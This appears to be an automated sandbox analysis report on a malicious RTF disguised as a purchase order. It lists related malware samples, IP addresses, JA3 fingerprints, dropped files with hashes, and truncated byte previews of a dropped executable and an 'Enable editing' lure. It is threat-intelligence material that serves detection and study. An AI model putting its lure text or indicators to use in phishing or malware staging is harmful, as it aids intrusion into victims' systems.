	SOA.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	List of items.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	RADOSS - PO.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	Evgh. rvs Armenia. 30.04.2024.exe	Get hash	malicious	GuLoader, Remcos	Browse	172.67.220.6
	DATASHEET rfq.exe	Get hash	malicious	GuLoader	Browse	162.159.133.233
	DNXS-04-22.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	104.21.27.85
	PO 32187 #290424.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	104.21.27.85
	EMPLOYEE-FINAL-SETTLEMENTS.doc	Get hash	malicious	FormBook	Browse	104.21.25.202
	SecuriteInfo.com.Win32.PWSX-gen.8803.13656.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
LOOPIASE	SalinaGroup.doc	Get hash	malicious	FormBook	Browse	194.9.94.86
	NEW-ORDER_pdf.exe	Get hash	malicious	FormBook	Browse	194.9.94.85
	alhadani Aprilorders140424.scr.exe	Get hash	malicious	FormBook	Browse	194.9.94.85
	AWB5889829680.scr.exe	Get hash	malicious	FormBook	Browse	194.9.94.85
	Search.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	194.9.94.85
	PAY-0129.exe	Get hash	malicious	FormBook	Browse	194.9.94.86
	PgbcaAGOnA.exe	Get hash	malicious	FormBook	Browse	194.9.94.85
	admindemo.exe	Get hash	malicious	FormBook, GuLoader	Browse	194.9.94.85
	Order_N#U00b0_202200027.exe	Get hash	malicious	FormBook, GuLoader	Browse	194.9.94.85
	CamScanner_12-12-2023_01.03.exe	Get hash	malicious	FormBook, zgRAT	Browse	194.9.94.85
COGENT-174US	aduLTc2Dny.elf	Get hash	malicious	Mirai	Browse	38.247.148.219
	SecuriteInfo.com.Win64.PWSX-gen.20556.23749.exe	Get hash	malicious	FormBook	Browse	38.63.111.149
	SecuriteInfo.com.Win32.PWSX-gen.7200.9677.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	38.47.232.37
	vylI38MZOn.elf	Get hash	malicious	Mirai	Browse	38.144.30.229
	mcEX8uqMA9.elf	Get hash	malicious	Mirai	Browse	154.42.69.230
	L31owFeEHg.elf	Get hash	malicious	Mirai	Browse	38.192.195.72
	nAgY4qjFwu.elf	Get hash	malicious	Unknown	Browse	154.44.30.231
	jDrEk4Z8cP.elf	Get hash	malicious	Unknown	Browse	154.44.30.231
	S8XVPpU2wq.elf	Get hash	malicious	Unknown	Browse	154.44.30.231
	DQUOFZJDd5.elf	Get hash	malicious	Unknown	Browse	154.44.30.231
OVHFR	https://herozheng.com/	Get hash	malicious	Unknown	Browse	147.135.94.220
	H0RZizYUEv.elf	Get hash	malicious	Mirai	Browse	142.44.233.39
	hPEMPaXhhr.exe	Get hash	malicious	RedLine	Browse	54.39.249.56
	lNUsUO1sge.elf	Get hash	malicious	Mirai	Browse	192.99.71.250
	Specification 1223.vbs	Get hash	malicious	AgentTesla	Browse	139.99.5.44
	SalinaGroup.doc	Get hash	malicious	FormBook	Browse	54.38.220.85
	RFQ.xlsm.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	178.33.249.251
	ORDER-290424-007994PT.vbs	Get hash	malicious	WSHRat, AgentTesla	Browse	51.254.27.105
	arm7.elf	Get hash	malicious	Mirai	Browse	37.59.96.160
	Orders-2604_24.vbs	Get hash	malicious	AgentTesla	Browse	139.99.5.44
LINODE-APLinodeLLCUS	EMPLOYEE-FINAL-SETTLEMENTS.doc	Get hash	malicious	FormBook	Browse	45.33.6.223
	SecuriteInfo.com.Program.Unwanted.4826.21447.30958.exe	Get hash	malicious	Unknown	Browse	45.33.97.245
	SecuriteInfo.com.Program.Unwanted.4826.21447.30958.exe	Get hash	malicious	Unknown	Browse	45.33.97.245
	https://www.canva.com/design/DAGEAa4PcvI/o5lifZGBI-4kJErApUzUSw/view?utm_content=DAGEAa4PcvI&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	45.56.122.121
	https://www.canva.com/design/DAGEAa4PcvI/o5lifZGBI-4kJErApUzUSw/view?utm_content=DAGEAa4PcvI&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	HTMLPhisher	Browse	45.56.122.121
	https://cushwake.radiacellar.com/	Get hash	malicious	HTMLPhisher	Browse	104.237.130.23
	confirmation de cuenta.exe	Get hash	malicious	FormBook, GuLoader	Browse	139.162.5.234
	SalinaGroup.doc	Get hash	malicious	FormBook	Browse	45.33.6.223
	FV- 12.429#U00a0TUSOCAL.exe	Get hash	malicious	FormBook, GuLoader	Browse	139.162.5.234
	FV- 12.429#U00a0TUSOCAL.exe	Get hash	malicious	FormBook, GuLoader	Browse	139.162.5.234

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
7dcce5b76c8b17472d024758970a406b	EMPLOYEE-FINAL-SETTLEMENTS.doc	Get hash	malicious	FormBook	Browse	104.21.74.191
	Account report (1).docx	Get hash	malicious	Unknown	Browse	104.21.74.191
	Account report (1).docx	Get hash	malicious	Unknown	Browse	104.21.74.191
	documento.exe	Get hash	malicious	GuLoader, Remcos	Browse	104.21.74.191
	nU7Z8sPyvf.rtf	Get hash	malicious	Remcos	Browse	104.21.74.191
	QF3YL9rOxB.rtf	Get hash	malicious	AgentTesla	Browse	104.21.74.191
	GENERALCANDY INV FWDRB42024.doc	Get hash	malicious	Lokibot	Browse	104.21.74.191
	citat-05012024.xla.xlsx	Get hash	malicious	Unknown	Browse	104.21.74.191
	cotizaci#U00f3n_04302024.xla.xlsx	Get hash	malicious	AgentTesla	Browse	104.21.74.191
	RFQ-37463746374634.xls	Get hash	malicious	Unknown	Browse	104.21.74.191

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\sqlite3.dll	maildatas.xls	Get hash	malicious	FormBook, GuLoader	Browse
	5890796959.xls	Get hash	malicious	FormBook	Browse
	DlXCfRPdLr.rtf	Get hash	malicious	FormBook	Browse
	NEW_ORDER.xls	Get hash	malicious	FormBook	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\opp[1].scr

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	636928
Entropy (8bit):	7.634194042962642
Encrypted:	false
SSDEEP:	6144:6ZZcyAHUylUe/tDISmWNf1hAY7PFVSz2NYKcV4v9yf+29EfaGT/T95BGjNBukNFy:CKlUKV7l7PFAz2NNHwu1T/T98BuZ
MD5:	3CCB984FD28AFEA83F2F2E8A6ED4CCFA
SHA1:	AC0EC507CC8D749FD5FC5E59257856BCD5492E42
SHA-256:	57243762AAFFC5CAB1DC4A9E630DB4D4E5D9F746141650CB7E4F78629F7C065D
SHA-512:	02BBCDBAD66A138D9C749F4F95FF5BEEBEB2C74D8D244277CAC2795870005866C1D4BF9CCD03B370021F7218D6A0280D8FF8786D3FB0B64A7CFC4D1A3A0E085B
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.../.................0.................. ........@.. ....................... ............@.....................................O.......^............................................................................ ............... ..H............text........ ...................... ..`.rsrc...^...........................@..@.reloc..............................@..B........................H..........................T#.............................................o................................................&.(9.....".......J.~....te...(>...&..{...."..}......{...."..}......{...."..}......{...."..}......{...."..}......{...."..}......{...."..}....".(9.....(.........(?...~....(....o@...oA....#........{...."..}......{...."..}......{...."..}......{...."..}......{...."..}......{...."..}......{...."..}...."..{H...R..{H.....{H...(F

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\sqlite-dll-win32-x86-3290000[1].zip

Download File

Process:	C:\Windows\SysWOW64\dfrgui.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	486020
Entropy (8bit):	7.998960424234155
Encrypted:	true
SSDEEP:	12288:EKlJSZA7zQtl7IZyBgByo77WNMzTSZJVahsC:roZKzQtl7IZyqBy278pJVahsC
MD5:	AF10A982A2EF91C9787106EEA1A0CC4A
SHA1:	00435A36F5E6059287CDE2CEBB2882669CDBA3A5
SHA-256:	E028068B067E5E60FA5680B0BAFA48A31287B6D614EE0B92DF51CCE23B974099
SHA-512:	73D0D3034405527798B854DC33FC608C7CCF0AF1689E139AF4BBB5A5324DC0748BDC2BF632468745920DC7BE4EB7F0240D3CF1B5872D3F5C0C897725DB78BF9F
Malicious:	false
Reputation:	low
Preview:	PK........-..NO..:4...........sqlite3.defUT....)&].)&]ux.................(...y.d....r.Tv.{sa,.....3==O....t.4.'.BHB.......?.....2.ms.....&.G.J.!<.;.`...g!..1..(.i)..Cl.W......fk.>.Q.2.4k;.......g..).o..<.....N...56i.8..gB.......q...A....U.].........S.......s$....=.p.@,-.:....o.E.ES.$...6V.Ha$.g.'q..h-5.....D1=G.M...Z...N.`......n.+..3$..\|.P..".Y...iF.~.......V.`...BU.....G.5.Nmj<...yx\=6E..f.@"l...Z<...w....o..J..g.. <.D..i?4.....j.....%^.../...O.t.F.......rw.v......{.O:....k.....PA{H!/..H..D....x..}z[".c .{9.5...&....v....b...n....G...H...X...H...-...9i.6...... .fV..I.....@@.r.S.z.n....:LIX..L.].YM..Z}.5V.\|pF..a4...].?.30.L.,4.'.;y\R-.....u.;...j........y..>..\....jP.fT.]xEXs.3QV+z.'..mu.]hme3$....I.O.-...r...).......:..9x.F...8'c.."......a&.@..j.Vb..q.4...z.c.CV.&G.F.....K8h.d.........w.+..... .......nPT...(c..O..n@..<zVq..gu.al.L..P.<...e!&1..3..kg.....m*.Ug.@am.^..3.#.fU.a.!O:.W.....i...uK.]..p........)Go.v........0.._.`..I....<...._b..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{32287031-1AA7-4113-9CE7-2D38FFF56A48}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	CE338FE6899778AACFC28414F2D9498B
SHA1:	897256B6709E1A4DA9DABA92B6BDE39CCFCCD8C1
SHA-256:	4FE7B59AF6DE3B665B67788CC2F99892AB827EFAE3A467342B3BB4E3BC8E5BFE
SHA-512:	6EB7F16CF7AFCABE9BDEA88BDAB0469A7937EB715ADA9DFD8F428D9D38D86133945F5F2F2688DDD96062223A39B5D47F07AFC3C48D9DB1D5EE3F41C8D274DCCF
Malicious:	false
Reputation:	high, very likely benign file
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{3A3C11FA-90ED-43D5-ADC7-410054725309}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	92672
Entropy (8bit):	3.502882394803038
Encrypted:	false
SSDEEP:	768:IgI2Q5Q6IQXwvW5Kq2g05gI2Q5Q6IQXwvW5Kq2g05gI2Q5Q6IQXwvW5Kq2g05gIN:LSyemuSyemuSyemuSyemuSyemF0CxR
MD5:	68325691EAED8CBC078A8CFB9CE23933
SHA1:	A8AB491DE1D2BAECAF8B838ACDBFDFEE75A2856B
SHA-256:	7ADDC8AF01F9F395CADCDD5D21A6132696E8505FA243054383882A1B03B6E33B
SHA-512:	54F2FA1CD20188D5482403FE2D8705CA4CCDE0C0507CDAEDEF5861095F4D2C3DEEF0001F25B7F8CA4A0CFF54189A3AB70AAF9227497B6DDBB800735C18C3CF42
Malicious:	false
Preview:	7.6.4.1.2.1.7.2.p.l.e.a.s.e. .c.l.i.c.k. .E.n.a.b.l.e. .e.d.i.t.i.n.g. .f.r.o.m. .t.h.e. .y.e.l.l.o.w. .b.a.r. .a.b.o.v.e...T.h.e. .i.n.d.e.p.e.n.d.e.n.t. .a.u.d.i.t.o.r.s.. .o.p.i.n.i.o.n. .s.a.y.s. .t.h.e. .f.i.n.a.n.c.i.a.l. .s.t.a.t.e.m.e.n.t.s. .a.r.e. .f.a.i.r.l.y. .s.t.a.t.e.d. .i.n. .a.c.c.o.r.d.a.n.c.e. .w.i.t.h. .t.h.e. .b.a.s.i.s. .o.f. .a.c.c.o.u.n.t.i.n.g. .u.s.e.d. .b.y. .y.o.u.r. .o.r.g.a.n.i.z.a.t.i.o.n... .S.o. .w.h.y. .a.r.e. .t.h.e. .a.u.d.i.t.o.r.s. .g.i.v.i.n.g. .y.o.u. .t.h.a.t. .o.t.h.e.r. .l.e.t.t.e.r. .I.n. .a.n. .a.u.d.i.t. .o.f. .f.i.n.a.n.c.i.a.l. .s.t.a.t.e.m.e.n.t.s.,. .p.r.o.f.e.s.s.i.o.n.a.l. .s.t.a.n.d.a.r.d.s. .r.e.q.u.i.r.e. .t.h.a.t. .a.u.d.i.t.o.r.s. .o.b.t.a.i.n. .a.n. .u.n.d.e.r.s.t.a.n.d.i.n.g. .o.f. .i.n.t.e.r.n.a.l. .c.o.n.t.r.o.l.s. .t.o. .t.h.e. .e.x.t.e.n.t. .n.e.c.e.s.s.a.r.y. .t.o. .p.l.a.n. .t.h.e. .a.u.d.i.t... .A.u.d.i.t.o.r.s. .u.s.e. .t.h.i.s. .u.n.d.e.r.s.t.a.n.d.i.n.g. .o.f. .i.n.t.e.r.n.a.l. .c.o.n.t.r.o.l.s. .t.o. .a.s.s.e.s.s. .

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{7BC00D90-3286-43A4-8263-7BB80B0A8239}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{E434B38F-ED25-466F-B480-94EE051CC92F}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	1.3554734412254816
Encrypted:	false
SSDEEP:	3:Iiiiiiiiiif3l/Hlnl/bl//l/bllBl/PvvvvvvvvvvFl/l/lAqsalHl3lldHzlbS:IiiiiiiiiifdLloZQc8++lsJe1MzBn
MD5:	C04D4D6345AFB202AE886B36484B72B6
SHA1:	FD70A245F46FE0E25ABDA3F9F564A78AC744FCFA
SHA-256:	ED9114CE8D044E332D0EE7E571E58DDDA4D41CFDD6CA19A0BDBDD00450E124E6
SHA-512:	2BB8383B6AB916AC4AE399926421607CB7814FFADB6504FAA101191A7E95C2EC580916DD8287E90C0FAC8FC7ABC45B53C2D76D5B2BEAF43A179032D69BE9A7A0
Malicious:	false
Preview:	..(...(...(...(...(...(...(...(...(...(...(...A.l.b.u.s...A........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................."...&...*.......:...>...............................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\13d6pS3

Download File

Process:	C:\Windows\SysWOW64\dfrgui.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, page size 2048, file counter 10, database pages 37, cookie 0x2f, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	1.133993246026424
Encrypted:	false
SSDEEP:	96:LSGKaEdUDHN3ZMesTyWTJe7uKfeWb3d738Hsa/NlSGIdEd01YLvqAogv5KzzUG+S:uG8mZMDTJQb3OCaM0f6kL1Vumi
MD5:	8BB4851AE9495C7F93B4D8A6566E64DB
SHA1:	B16C29E9DBBC1E1FE5279D593811E9E317D26AF7
SHA-256:	143AD87B1104F156950A14481112E79682AAD645687DF5E8C9232F4B2786D790
SHA-512:	DDFD8A6243C2FC5EE7DAE2EAE8D6EA9A51268382730FA3D409A86165AB41386B0E13E4C2F2AC5556C9748E4A160D19B480D7B0EA23BA0671F921CB9E07637149
Malicious:	false
Preview:	SQLite format 3......@ .......%.........../......................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\sqlite3.def

Download File

Process:	C:\Windows\SysWOW64\dfrgui.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5583
Entropy (8bit):	4.352170265556474
Encrypted:	false
SSDEEP:	96:GcuN/gR+7Ogn0XRMcGM3KOGOF++hwIMtvQENw+Y0aR:E/Q+7Ogn0RKOBF++eHvQENw+cR
MD5:	4F576602CE4286C96EBFE17A47332626
SHA1:	289E71E45B3A4B10CB6E4B9A844EDEECDC09923A
SHA-256:	A043CB55CFDBA9F4426C2006502BF2805B19CC9B0C81B09EAA76BDC9BD5F04CC
SHA-512:	30B5771042F910EC53EBCB2396BE26DAFB0F2AB1D2FE886C2C1FCE2172D1F45ABB9EB417C24D0B87168690CD0E727F83D3CEC711787A44E095873D9975CF90C2
Malicious:	false
Preview:	EXPORTS.sqlite3_aggregate_context.sqlite3_aggregate_count.sqlite3_auto_extension.sqlite3_backup_finish.sqlite3_backup_init.sqlite3_backup_pagecount.sqlite3_backup_remaining.sqlite3_backup_step.sqlite3_bind_blob.sqlite3_bind_blob64.sqlite3_bind_double.sqlite3_bind_int.sqlite3_bind_int64.sqlite3_bind_null.sqlite3_bind_parameter_count.sqlite3_bind_parameter_index.sqlite3_bind_parameter_name.sqlite3_bind_pointer.sqlite3_bind_text.sqlite3_bind_text16.sqlite3_bind_text64.sqlite3_bind_value.sqlite3_bind_zeroblob.sqlite3_bind_zeroblob64.sqlite3_blob_bytes.sqlite3_blob_close.sqlite3_blob_open.sqlite3_blob_read.sqlite3_blob_reopen.sqlite3_blob_write.sqlite3_busy_handler.sqlite3_busy_timeout.sqlite3_cancel_auto_extension.sqlite3_changes.sqlite3_clear_bindings.sqlite3_close.sqlite3_close_v2.sqlite3_collation_needed.sqlite3_collation_needed16.sqlite3_column_blob.sqlite3_column_bytes.sqlite3_column_bytes16.sqlite3_column_count.sqlite3_column_database_name.sqlite3_column_database_name16.sqlite3_colum

C:\Users\user\AppData\Local\Temp\sqlite3.dll

Download File

Process:	C:\Windows\SysWOW64\dfrgui.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	926331
Entropy (8bit):	6.513562485953698
Encrypted:	false
SSDEEP:	24576:oI0H1fcKoDde/KBkI/njv7UU5vrVGFWG/Pi:obaRdeyBkI/jjUU5vJ8S
MD5:	5E5BA61531D74E45B11CADB79E7394A1
SHA1:	677224E14AAC9DD35F367D5EB1704B36E69356B8
SHA-256:	99E91AE250C955BD403EC1A2321D6B11FCB715BDCC7CB3F63FFB46B349AFDE5C
SHA-512:	712BFE419BA97ECF0EC8323A68743013E8C767DA9D986F74AB94D2A395C3086CAC2A5823048E0022D3BBCEBB55281B9E1F8C87FDC9295C70CC5521B57850BF46
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: maildatas.xls, Detection: malicious, Browse Filename: 5890796959.xls, Detection: malicious, Browse Filename: DlXCfRPdLr.rtf, Detection: malicious, Browse Filename: NEW_ORDER.xls, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....)&].2..(......!.....v...&.....................a................................D......... .......................... ... ..H....P.......................`...3...........................@.......................!...............................text....t.......v..................`.P`.data...\|............\|..............@.`..rdata...#.......$..................@.`@.bss....(.............................`..edata... ......."..................@.0@.idata..H.... ......................@.0..CRT....,....0......................@.0..tls.... ....@......................@.0..rsrc........P......................@.0..reloc...3...`...4..................@.0B/4...................,..............@.@B/19.................0..............@..B/31..........P......................@..B/45..........p......................@..B/57.................................@.0B/70.....i...............

C:\Users\user\AppData\Local\Temp\u62ln.zip

Download File

Process:	C:\Windows\SysWOW64\dfrgui.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	486020
Entropy (8bit):	7.998960424234155
Encrypted:	true
SSDEEP:	12288:EKlJSZA7zQtl7IZyBgByo77WNMzTSZJVahsC:roZKzQtl7IZyqBy278pJVahsC
MD5:	AF10A982A2EF91C9787106EEA1A0CC4A
SHA1:	00435A36F5E6059287CDE2CEBB2882669CDBA3A5
SHA-256:	E028068B067E5E60FA5680B0BAFA48A31287B6D614EE0B92DF51CCE23B974099
SHA-512:	73D0D3034405527798B854DC33FC608C7CCF0AF1689E139AF4BBB5A5324DC0748BDC2BF632468745920DC7BE4EB7F0240D3CF1B5872D3F5C0C897725DB78BF9F
Malicious:	false
Preview:	PK........-..NO..:4...........sqlite3.defUT....)&].)&]ux.................(...y.d....r.Tv.{sa,.....3==O....t.4.'.BHB.......?.....2.ms.....&.G.J.!<.;.`...g!..1..(.i)..Cl.W......fk.>.Q.2.4k;.......g..).o..<.....N...56i.8..gB.......q...A....U.].........S.......s$....=.p.@,-.:....o.E.ES.$...6V.Ha$.g.'q..h-5.....D1=G.M...Z...N.`......n.+..3$..\|.P..".Y...iF.~.......V.`...BU.....G.5.Nmj<...yx\=6E..f.@"l...Z<...w....o..J..g.. <.D..i?4.....j.....%^.../...O.t.F.......rw.v......{.O:....k.....PA{H!/..H..D....x..}z[".c .{9.5...&....v....b...n....G...H...X...H...-...9i.6...... .fV..I.....@@.r.S.z.n....:LIX..L.].YM..Z}.5V.\|pF..a4...].?.30.L.,4.'.;y\R-.....u.;...j........y..>..\....jP.fT.]xEXs.3QV+z.'..mu.]hme3$....I.O.-...r...).......:..9x.F...8'c.."......a&.@..j.Vb..q.4...z.c.CV.&G.F.....K8h.d.........w.+..... .......nPT...(c..O..n@..<zVq..gu.al.L..P.<...e!&1..3..kg.....m*.Ug.@am.^..3.#.fU.a.!O:.W.....i...uK.]..p........)Go.v........0.._.`..I....<...._b..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\MOQ010524Purchase order.LNK

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 11 15:42:04 2023, mtime=Fri Aug 11 15:42:04 2023, atime=Thu May 2 05:26:02 2024, length=199141, window=hide
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	4.527097313880883
Encrypted:	false
SSDEEP:	24:8Nk/XTsdzxOwCdkU7fBJe79/Qf3Dv3qBk7N:8Nk/XTgzqkeW/BiN
MD5:	24D363D0E3C97ACC70836A3D1DF669A3
SHA1:	6BB7836F30DBAC252A584546BAE5F41E5A6DD4CF
SHA-256:	4B4C559F2A84316F6886235FA768DBBF588A68FC3DA06D3014AABD4D670A3B93
SHA-512:	3B0AD846BFCEE891F4A551AF5537C6F136674DB85D6FF12E7144870332038F4A87317F88D8B8FE2770A5BD624389993D14228A6B1E9FFA32A5D1BC2F12434167
Malicious:	false
Preview:	L..................F.... ..._.u.r..._.u.r...{..Y................................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......X=3..user.8......QK.X.X=3...&=....U...............A.l.b.u.s.....z.1......WD...Desktop.d......QK.X.WD...._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......2......XB3 .MOQ010~1.DOC..d.......WC..WC..........................M.O.Q.0.1.0.5.2.4.P.u.r.c.h.a.s.e. .o.r.d.e.r...d.o.c.......................-...8...[............?J......C:\Users\..#...................\\927537\Users.user\Desktop\MOQ010524Purchase order.doc.2.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.M.O.Q.0.1.0.5.2.4.P.u.r.c.h.a.s.e. .o.r.d.e.r...d.o.c.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......92753

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Generic INItialization configuration [folders]
Category:	dropped
Size (bytes):	80
Entropy (8bit):	4.743419658168687
Encrypted:	false
SSDEEP:	3:M13sRXRmlKRAXdrFom4f0VRXRmlKRAXdrFov:M+xwlAAXd5lVxwlAAXd5y
MD5:	DFAC9B954AE3F65DE31A5137C624F38B
SHA1:	3F4187329D38535346694DDCDD4F82F85375C2E5
SHA-256:	4FCED1AA79A30F92C6152DED4D79BE8EAF14C43084EF16CB750F0805E0939856
SHA-512:	D380B10CFFCC9A880C0A593A8BEF4A67D96929D7A53C9066CEEC02DB29F01896AB9941049916BB78CA5E614B20F816C09F3CF056E023C4243A01D3878FD1A8E3
Malicious:	false
Preview:	[doc]..MOQ010524Purchase order.LNK=0..[folders]..MOQ010524Purchase order.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020307
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyHlqlzl0pbklMWjV4lc+/dllln:vdsCkWtWYlz21kF2JV/l
MD5:	2CF7D3B8DED3F1D5CE1AC92F3E51D4ED
SHA1:	95E13378EA9CACA068B2687F01E9EF13F56627C2
SHA-256:	60DF94CDE4FD9B4A73BB13775079D75CE954B75DED5A2878277FA64AD767CAB1
SHA-512:	2D5797FBBE44766D93A5DE3D92911358C70D8BE60D5DF542ECEDB77D1195DC1EEF85E4CA1445595BE81550335A20AB3F11B512385FE20F75B1E269D6AB048E0A
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

C:\Users\user\AppData\Roaming\op55336.scr

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	636928
Entropy (8bit):	7.634194042962642
Encrypted:	false
SSDEEP:	6144:6ZZcyAHUylUe/tDISmWNf1hAY7PFVSz2NYKcV4v9yf+29EfaGT/T95BGjNBukNFy:CKlUKV7l7PFAz2NNHwu1T/T98BuZ
MD5:	3CCB984FD28AFEA83F2F2E8A6ED4CCFA
SHA1:	AC0EC507CC8D749FD5FC5E59257856BCD5492E42
SHA-256:	57243762AAFFC5CAB1DC4A9E630DB4D4E5D9F746141650CB7E4F78629F7C065D
SHA-512:	02BBCDBAD66A138D9C749F4F95FF5BEEBEB2C74D8D244277CAC2795870005866C1D4BF9CCD03B370021F7218D6A0280D8FF8786D3FB0B64A7CFC4D1A3A0E085B
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.../.................0.................. ........@.. ....................... ............@.....................................O.......^............................................................................ ............... ..H............text........ ...................... ..`.rsrc...^...........................@..@.reloc..............................@..B........................H..........................T#.............................................o................................................&.(9.....".......J.~....te...(>...&..{...."..}......{...."..}......{...."..}......{...."..}......{...."..}......{...."..}......{...."..}....".(9.....(.........(?...~....(....o@...oA....#........{...."..}......{...."..}......{...."..}......{...."..}......{...."..}......{...."..}......{...."..}...."..{H...R..{H.....{H...(F

C:\Users\user\Desktop\~$Q010524Purchase order.doc

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020307
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyHlqlzl0pbklMWjV4lc+/dllln:vdsCkWtWYlz21kF2JV/l
MD5:	2CF7D3B8DED3F1D5CE1AC92F3E51D4ED
SHA1:	95E13378EA9CACA068B2687F01E9EF13F56627C2
SHA-256:	60DF94CDE4FD9B4A73BB13775079D75CE954B75DED5A2878277FA64AD767CAB1
SHA-512:	2D5797FBBE44766D93A5DE3D92911358C70D8BE60D5DF542ECEDB77D1195DC1EEF85E4CA1445595BE81550335A20AB3F11B512385FE20F75B1E269D6AB048E0A
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

Static File Info

General

File type:	Rich Text Format data, version 1
Entropy (8bit):	3.502941657337733
TrID:	Rich Text Format (5005/1) 55.56% Rich Text Format (4004/1) 44.44%
File name:	MOQ010524Purchase order.doc
File size:	199'141 bytes
